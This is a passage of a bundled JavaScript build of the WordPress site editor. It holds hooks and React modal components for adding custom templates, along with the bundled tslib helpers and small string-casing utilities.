* @return {Record<string,EntitiesInfo>} An object with the entity's slug as key and the existing records as value.
*/
const useTemplatesToExclude = (entityName, templatePrefixes, additionalQueryParameters = {}) => {
const slugsToExcludePerEntity = useExistingTemplateSlugs(templatePrefixes);
const recordsToExcludePerEntity = (0,external_wp_data_namespaceObject.useSelect)(select => {
return Object.entries(slugsToExcludePerEntity || {}).reduce((accumulator, [slug, slugsWithTemplates]) => {
const entitiesWithTemplates = select(external_wp_coreData_namespaceObject.store).getEntityRecords(entityName, slug, {
_fields: 'id',
context: 'view',
slug: slugsWithTemplates,
...additionalQueryParameters[slug]
});
if (entitiesWithTemplates?.length) {
accumulator[slug] = entitiesWithTemplates;
}
return accumulator;
}, {});
}, [slugsToExcludePerEntity]);
return recordsToExcludePerEntity;
};
/**
* Helper hook that returns information about an entity having
* records that we can create a specific template for.
*
* For example we can search for `terms` in `taxonomy` entity or
* `posts` in `postType` entity.
*
* First we need to find the existing records with an associated template,
* to query afterwards for any remaining record, by excluding them.
*
* @param {string} entityName The entity's name.
* @param {Record<string,string>} templatePrefixes An object with the entity's slug as key and the template prefix as value.
* @param {Record<string,Object>} additionalQueryParameters An object with the entity's slug as key and additional query parameters as value.
* @return {Record<string,EntitiesInfo>} An object with the entity's slug as key and the EntitiesInfo as value.
*/
const useEntitiesInfo = (entityName, templatePrefixes, additionalQueryParameters = EMPTY_OBJECT) => {
const recordsToExcludePerEntity = useTemplatesToExclude(entityName, templatePrefixes, additionalQueryParameters);
const entitiesHasRecords = (0,external_wp_data_namespaceObject.useSelect)(select => {
return Object.keys(templatePrefixes || {}).reduce((accumulator, slug) => {
const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(({
id
}) => id) || [];
accumulator[slug] = !!select(external_wp_coreData_namespaceObject.store).getEntityRecords(entityName, slug, {
per_page: 1,
_fields: 'id',
context: 'view',
exclude: existingEntitiesIds,
...additionalQueryParameters[slug]
})?.length;
return accumulator;
}, {});
}, [templatePrefixes, recordsToExcludePerEntity, entityName, additionalQueryParameters]);
const entitiesInfo = (0,external_wp_element_namespaceObject.useMemo)(() => {
return Object.keys(templatePrefixes || {}).reduce((accumulator, slug) => {
const existingEntitiesIds = recordsToExcludePerEntity?.[slug]?.map(({
id
}) => id) || [];
accumulator[slug] = {
hasEntities: entitiesHasRecords[slug],
existingEntitiesIds
};
return accumulator;
}, {});
}, [templatePrefixes, recordsToExcludePerEntity, entitiesHasRecords]);
return entitiesInfo;
};
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-template-modal-content.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const add_custom_template_modal_content_EMPTY_ARRAY = [];
function SuggestionListItem({
suggestion,
search,
onSelect,
entityForSuggestions
}) {
const baseCssClass = 'edit-site-custom-template-modal__suggestions_list__list-item';
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
role: "option",
className: baseCssClass,
onClick: () => onSelect(entityForSuggestions.config.getSpecificTemplate(suggestion))
}),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
size: "body",
lineHeight: 1.53846153846 // 20px
,
weight: 500,
className: `${baseCssClass}__title`,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, {
text: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(suggestion.name),
highlight: search
})
}), suggestion.link && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
size: "body",
lineHeight: 1.53846153846 // 20px
,
className: `${baseCssClass}__info`,
children: suggestion.link
})]
});
}
function useSearchSuggestions(entityForSuggestions, search) {
const {
config
} = entityForSuggestions;
const query = (0,external_wp_element_namespaceObject.useMemo)(() => ({
order: 'asc',
context: 'view',
search,
per_page: search ? 20 : 10,
...config.queryArgs(search)
}), [search, config]);
const {
records: searchResults,
hasResolved: searchHasResolved
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)(entityForSuggestions.type, entityForSuggestions.slug, query);
const [suggestions, setSuggestions] = (0,external_wp_element_namespaceObject.useState)(add_custom_template_modal_content_EMPTY_ARRAY);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!searchHasResolved) {
return;
}
let newSuggestions = add_custom_template_modal_content_EMPTY_ARRAY;
if (searchResults?.length) {
newSuggestions = searchResults;
if (config.recordNamePath) {
newSuggestions = mapToIHasNameAndId(newSuggestions, config.recordNamePath);
}
}
// Update suggestions only when the query has resolved, so as to keep
// the previous results in the UI.
setSuggestions(newSuggestions);
}, [searchResults, searchHasResolved]);
return suggestions;
}
function SuggestionList({
entityForSuggestions,
onSelect
}) {
const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)();
const suggestions = useSearchSuggestions(entityForSuggestions, debouncedSearch);
const {
labels
} = entityForSuggestions;
const [showSearchControl, setShowSearchControl] = (0,external_wp_element_namespaceObject.useState)(false);
if (!showSearchControl && suggestions?.length > 9) {
setShowSearchControl(true);
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [showSearchControl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
__nextHasNoMarginBottom: true,
onChange: setSearch,
value: search,
label: labels.search_items,
placeholder: labels.search_items
}), !!suggestions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
orientation: "vertical",
role: "listbox",
className: "edit-site-custom-template-modal__suggestions_list",
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Suggestions list'),
children: suggestions.map(suggestion => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SuggestionListItem, {
suggestion: suggestion,
search: debouncedSearch,
onSelect: onSelect,
entityForSuggestions: entityForSuggestions
}, suggestion.slug))
}), debouncedSearch && !suggestions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
className: "edit-site-custom-template-modal__no-results",
children: labels.not_found
})]
});
}
function AddCustomTemplateModalContent({
onSelect,
entityForSuggestions
}) {
const [showSearchEntities, setShowSearchEntities] = (0,external_wp_element_namespaceObject.useState)(entityForSuggestions.hasGeneralTemplate);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
className: "edit-site-custom-template-modal__contents-wrapper",
alignment: "left",
children: [!showSearchEntities && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('Select whether to create a single template for all items or a specific one.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
className: "edit-site-custom-template-modal__contents",
gap: "4",
align: "initial",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
isBlock: true,
as: external_wp_components_namespaceObject.Button,
onClick: () => {
const {
slug,
title,
description,
templatePrefix
} = entityForSuggestions.template;
onSelect({
slug,
title,
description,
templatePrefix
});
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "span",
weight: 500,
lineHeight: 1.53846153846 // 20px
,
children: entityForSuggestions.labels.all_items
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "span",
lineHeight: 1.53846153846 // 20px
,
children:
// translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
(0,external_wp_i18n_namespaceObject.__)('For all items')
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
isBlock: true,
as: external_wp_components_namespaceObject.Button,
onClick: () => {
setShowSearchEntities(true);
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "span",
weight: 500,
lineHeight: 1.53846153846 // 20px
,
children: entityForSuggestions.labels.singular_name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "span",
lineHeight: 1.53846153846 // 20px
,
children:
// translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
(0,external_wp_i18n_namespaceObject.__)('For a specific item')
})]
})]
})]
}), showSearchEntities && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('This template will be used only for the specific item chosen.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SuggestionList, {
entityForSuggestions: entityForSuggestions,
onSelect: onSelect
})]
})]
});
}
/* harmony default export */ const add_custom_template_modal_content = (AddCustomTemplateModalContent);
;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
var extendStatics = function(d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
function __extends(d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}
var __assign = function() {
__assign = Object.assign || function __assign(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
}
return t;
}
return __assign.apply(this, arguments);
}
function __rest(s, e) {
var t = {};
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
t[p] = s[p];
if (s != null && typeof Object.getOwnPropertySymbols === "function")
for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
t[p[i]] = s[p[i]];
}
return t;
}
function __decorate(decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
return c > 3 && r && Object.defineProperty(target, key, r), r;
}
function __param(paramIndex, decorator) {
return function (target, key) { decorator(target, key, paramIndex); }
}
function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
var _, done = false;
for (var i = decorators.length - 1; i >= 0; i--) {
var context = {};
for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
for (var p in contextIn.access) context.access[p] = contextIn.access[p];
context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
if (kind === "accessor") {
if (result === void 0) continue;
if (result === null || typeof result !== "object") throw new TypeError("Object expected");
if (_ = accept(result.get)) descriptor.get = _;
if (_ = accept(result.set)) descriptor.set = _;
if (_ = accept(result.init)) initializers.unshift(_);
}
else if (_ = accept(result)) {
if (kind === "field") initializers.unshift(_);
else descriptor[key] = _;
}
}
if (target) Object.defineProperty(target, contextIn.name, descriptor);
done = true;
};
function __runInitializers(thisArg, initializers, value) {
var useValue = arguments.length > 2;
for (var i = 0; i < initializers.length; i++) {
value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
}
return useValue ? value : void 0;
};
function __propKey(x) {
return typeof x === "symbol" ? x : "".concat(x);
};
function __setFunctionName(f, name, prefix) {
if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};
function __metadata(metadataKey, metadataValue) {
if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}
function __awaiter(thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
}
function __generator(thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
}
var __createBinding = Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
});
function __exportStar(m, o) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}
function __values(o) {
var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
if (m) return m.call(o);
if (o && typeof o.length === "number") return {
next: function () {
if (o && i >= o.length) o = void 0;
return { value: o && o[i++], done: !o };
}
};
throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}
function __read(o, n) {
var m = typeof Symbol === "function" && o[Symbol.iterator];
if (!m) return o;
var i = m.call(o), r, ar = [], e;
try {
while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
}
catch (error) { e = { error: error }; }
finally {
try {
if (r && !r.done && (m = i["return"])) m.call(i);
}
finally { if (e) throw e.error; }
}
return ar;
}
/** @deprecated */
function __spread() {
for (var ar = [], i = 0; i < arguments.length; i++)
ar = ar.concat(__read(arguments[i]));
return ar;
}
/** @deprecated */
function __spreadArrays() {
for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
for (var r = Array(s), k = 0, i = 0; i < il; i++)
for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
r[k] = a[j];
return r;
}
function __spreadArray(to, from, pack) {
if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
if (ar || !(i in from)) {
if (!ar) ar = Array.prototype.slice.call(from, 0, i);
ar[i] = from[i];
}
}
return to.concat(ar || Array.prototype.slice.call(from));
}
function __await(v) {
return this instanceof __await ? (this.v = v, this) : new __await(v);
}
function __asyncGenerator(thisArg, _arguments, generator) {
if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
var g = generator.apply(thisArg, _arguments || []), i, q = [];
return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
function fulfill(value) { resume("next", value); }
function reject(value) { resume("throw", value); }
function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}
function __asyncDelegator(o) {
var i, p;
return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}
function __asyncValues(o) {
if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
var m = o[Symbol.asyncIterator], i;
return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}
function __makeTemplateObject(cooked, raw) {
if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
return cooked;
};
var __setModuleDefault = Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
};
var ownKeys = function(o) {
ownKeys = Object.getOwnPropertyNames || function (o) {
var ar = [];
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
return ar;
};
return ownKeys(o);
};
function __importStar(mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
__setModuleDefault(result, mod);
return result;
}
function __importDefault(mod) {
return (mod && mod.__esModule) ? mod : { default: mod };
}
function __classPrivateFieldGet(receiver, state, kind, f) {
if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}
function __classPrivateFieldSet(receiver, state, value, kind, f) {
if (kind === "m") throw new TypeError("Private method is not writable");
if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}
function __classPrivateFieldIn(state, receiver) {
if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
return typeof state === "function" ? receiver === state : state.has(receiver);
}
function __addDisposableResource(env, value, async) {
if (value !== null && value !== void 0) {
if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
var dispose, inner;
if (async) {
if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
dispose = value[Symbol.asyncDispose];
}
if (dispose === void 0) {
if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
dispose = value[Symbol.dispose];
if (async) inner = dispose;
}
if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
env.stack.push({ value: value, dispose: dispose, async: async });
}
else if (async) {
env.stack.push({ async: true });
}
return value;
}
var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
var e = new Error(message);
return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};
function __disposeResources(env) {
function fail(e) {
env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
env.hasError = true;
}
var r, s = 0;
function next() {
while (r = env.stack.pop()) {
try {
if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
if (r.dispose) {
var result = r.dispose.call(r.value);
if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
}
else s |= 1;
}
catch (e) {
fail(e);
}
}
if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
if (env.hasError) throw env.error;
}
return next();
}
function __rewriteRelativeImportExtension(path, preserveJsx) {
if (typeof path === "string" && /^\.\.?\//.test(path)) {
return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
});
}
return path;
}
/* harmony default export */ const tslib_es6 = ({
__extends,
__assign,
__rest,
__decorate,
__param,
__esDecorate,
__runInitializers,
__propKey,
__setFunctionName,
__metadata,
__awaiter,
__generator,
__createBinding,
__exportStar,
__values,
__read,
__spread,
__spreadArrays,
__spreadArray,
__await,
__asyncGenerator,
__asyncDelegator,
__asyncValues,
__makeTemplateObject,
__importStar,
__importDefault,
__classPrivateFieldGet,
__classPrivateFieldSet,
__classPrivateFieldIn,
__addDisposableResource,
__disposeResources,
__rewriteRelativeImportExtension,
});
;// ./node_modules/lower-case/dist.es2015/index.js
/**
* Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
*/
var SUPPORTED_LOCALE = {
tr: {
regexp: /\u0130|\u0049|\u0049\u0307/g,
map: {
İ: "\u0069",
I: "\u0131",
İ: "\u0069",
},
},
az: {
regexp: /\u0130/g,
map: {
İ: "\u0069",
I: "\u0131",
İ: "\u0069",
},
},
lt: {
regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
map: {
I: "\u0069\u0307",
J: "\u006A\u0307",
Į: "\u012F\u0307",
Ì: "\u0069\u0307\u0300",
Í: "\u0069\u0307\u0301",
Ĩ: "\u0069\u0307\u0303",
},
},
};
/**
* Localized lower case.
*/
function localeLowerCase(str, locale) {
var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
if (lang)
return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
return lowerCase(str);
}
/**
* Lower case as a function.
*/
function lowerCase(str) {
return str.toLowerCase();
}
;// ./node_modules/no-case/dist.es2015/index.js
// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
* Normalize the string into something other libraries can manipulate easier.
*/
function noCase(input, options) {
if (options === void 0) { options = {}; }
var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
var start = 0;
var end = result.length;
// Trim the delimiter from around the output string.
while (result.charAt(start) === "\0")
start++;
while (result.charAt(end - 1) === "\0")
end--;
// Transform each token independently.
return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
* Replace `re` in the input string with the replacement value.
*/
function replace(input, re, value) {
if (re instanceof RegExp)
return input.replace(re, value);
return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}
;// ./node_modules/dot-case/dist.es2015/index.js
function dotCase(input, options) {
if (options === void 0) { options = {}; }
return noCase(input, __assign({ delimiter: "." }, options));
}
;// ./node_modules/param-case/dist.es2015/index.js
function paramCase(input, options) {
if (options === void 0) { options = {}; }
return dotCase(input, __assign({ delimiter: "-" }, options));
}
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/add-custom-generic-template-modal-content.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function AddCustomGenericTemplateModalContent({
onClose,
createTemplate
}) {
const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
const defaultTitle = (0,external_wp_i18n_namespaceObject.__)('Custom Template');
const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
async function onCreateTemplate(event) {
event.preventDefault();
if (isBusy) {
return;
}
setIsBusy(true);
try {
await createTemplate({
slug: 'wp-custom-template-' + paramCase(title || defaultTitle),
title: title || defaultTitle
}, false);
} finally {
setIsBusy(false);
}
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
onSubmit: onCreateTemplate,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 6,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: (0,external_wp_i18n_namespaceObject.__)('Name'),
value: title,
onChange: setTitle,
placeholder: defaultTitle,
disabled: isBusy,
help: (0,external_wp_i18n_namespaceObject.__)(
// eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "edit-site-custom-generic-template__modal-actions",
justify: "right",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: () => {
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
type: "submit",
isBusy: isBusy,
"aria-disabled": isBusy,
children: (0,external_wp_i18n_namespaceObject.__)('Create')
})]
})]
})
});
}
/* harmony default export */ const add_custom_generic_template_modal_content = (AddCustomGenericTemplateModalContent);
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: add_new_template_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const DEFAULT_TEMPLATE_SLUGS = ['front-page', 'home', 'single', 'page', 'index', 'archive', 'author', 'category', 'date', 'tag', 'search', '404'];
const TEMPLATE_ICONS = {
'front-page': library_home,
home: library_verse,
single: library_pin,
